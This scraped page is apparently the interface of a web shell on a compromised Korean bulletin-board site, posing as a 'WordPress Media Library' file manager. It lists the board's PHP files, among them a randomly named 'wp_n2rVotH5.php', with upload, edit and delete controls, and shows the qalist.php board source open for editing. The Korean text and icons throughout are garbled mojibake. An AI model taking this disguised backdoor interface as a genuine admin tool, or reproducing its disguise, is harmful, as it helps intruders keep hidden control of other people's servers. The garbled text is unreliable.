โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: qalist.php
Size: 4.32 KB | Modified: 2019-01-10 22:38:00
<?php include_once('./_common.php'); if($is_guest) alert('ํ์์ด์๋ผ๋ฉด ๋ก๊ทธ์ธ ํ ์ด์ฉํด ๋ณด์ญ์์ค.', './login.php?url='.urlencode(G5_BBS_URL.'/qalist.php')); $qaconfig = get_qa_config(); $g5['title'] = $qaconfig['qa_title']; include_once('./qahead.php'); $skin_file = $qa_skin_path.'/list.skin.php'; $category_option = ''; if ($qaconfig['qa_category']) { $category_href = G5_BBS_URL.'/qalist.php'; $category_option .= '<li><a href="'.$category_href.'"'; if ($sca=='') $category_option .= ' id="bo_cate_on"'; $category_option .= '>์ ์ฒด</a></li>'; $categories = explode('|', $qaconfig['qa_category']); // ๊ตฌ๋ถ์๊ฐ | ๋ก ๋์ด ์์ for ($i=0; $i<count($categories); $i++) { $category = trim($categories[$i]); if ($category=='') continue; $category_msg = ''; $category_option .= '<li><a href="'.($category_href."?sca=".urlencode($category)).'"'; if ($category==$sca) { // ํ์ฌ ์ ํ๋ ์นดํ ๊ณ ๋ฆฌ๋ผ๋ฉด $category_option .= ' id="bo_cate_on"'; $category_msg = '<span class="sound_only">์ด๋ฆฐ ๋ถ๋ฅ </span>'; } $category_option .= '>'.$category_msg.$category.'</a></li>'; } } if(is_file($skin_file)) { $sql_common = " from {$g5['qa_content_table']} "; $sql_search = " where qa_type = '0' "; if(!$is_admin) $sql_search .= " and mb_id = '{$member['mb_id']}' "; if($sca) { if (preg_match("/[a-zA-Z]/", $sca)) $sql_search .= " and INSTR(LOWER(qa_category), LOWER('$sca')) > 0 "; else $sql_search .= " and INSTR(qa_category, '$sca') > 0 "; } $stx = trim($stx); if($stx) { if (preg_match("/[a-zA-Z]/", $stx)) $sql_search .= " and ( INSTR(LOWER(qa_subject), LOWER('$stx')) > 0 or INSTR(LOWER(qa_content), LOWER('$stx')) > 0 )"; else $sql_search .= " and ( INSTR(qa_subject, '$stx') > 0 or INSTR(qa_content, '$stx') > 0 ) "; } $sql_order = " order by qa_num "; $sql = " select count(*) as cnt $sql_common $sql_search "; $row = sql_fetch($sql); $total_count = $row['cnt']; $page_rows = G5_IS_MOBILE ? $qaconfig['qa_mobile_page_rows'] : $qaconfig['qa_page_rows']; $total_page = ceil($total_count / $page_rows); // ์ ์ฒด ํ์ด์ง ๊ณ์ฐ if ($page < 1) { $page = 1; } // ํ์ด์ง๊ฐ ์์ผ๋ฉด ์ฒซ ํ์ด์ง (1 ํ์ด์ง) $from_record = ($page - 1) * $page_rows; // ์์ ์ด์ ๊ตฌํจ $sql = " select * $sql_common $sql_search $sql_order limit $from_record, $page_rows "; $result = sql_query($sql); $list = array(); $num = $total_count - ($page - 1) * $page_rows; $subject_len = G5_IS_MOBILE ? $qaconfig['qa_mobile_subject_len'] : $qaconfig['qa_subject_len']; for($i=0; $row=sql_fetch_array($result); $i++) { $list[$i] = $row; $list[$i]['category'] = get_text($row['qa_category']); $list[$i]['subject'] = conv_subject($row['qa_subject'], $subject_len, 'โฆ'); if ($stx) { $list[$i]['subject'] = search_font($stx, $list[$i]['subject']); } $list[$i]['view_href'] = G5_BBS_URL.'/qaview.php?qa_id='.$row['qa_id'].$qstr; $list[$i]['icon_file'] = ''; if(trim($row['qa_file1']) || trim($row['qa_file2'])) $list[$i]['icon_file'] = '<img src="'.$qa_skin_url.'/img/icon_file.gif">'; $list[$i]['name'] = get_text($row['qa_name']); // ์ฌ์ด๋๋ทฐ ์ ์ฉ์ //$list[$i]['name'] = get_sideview($row['mb_id'], $row['qa_name']); $list[$i]['date'] = substr($row['qa_datetime'], 2, 8); $list[$i]['num'] = $num - $i; } $is_checkbox = false; $admin_href = ''; if($is_admin) { $is_checkbox = true; $admin_href = G5_ADMIN_URL.'/qa_config.php'; } $list_href = G5_BBS_URL.'/qalist.php'; $write_href = G5_BBS_URL.'/qawrite.php'; $list_pages = preg_replace('/(\.php)(&|&)/i', '$1?', get_paging(G5_IS_MOBILE ? $config['cf_mobile_pages'] : $config['cf_write_pages'], $page, $total_page, './qalist.php'.$qstr.'&page=')); $stx = get_text(stripslashes($stx)); include_once($skin_file); } else { echo '<div>'.str_replace(G5_PATH.'/', '', $skin_file).'์ด ์กด์ฌํ์ง ์์ต๋๋ค.</div>'; } include_once('./qatail.php'); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete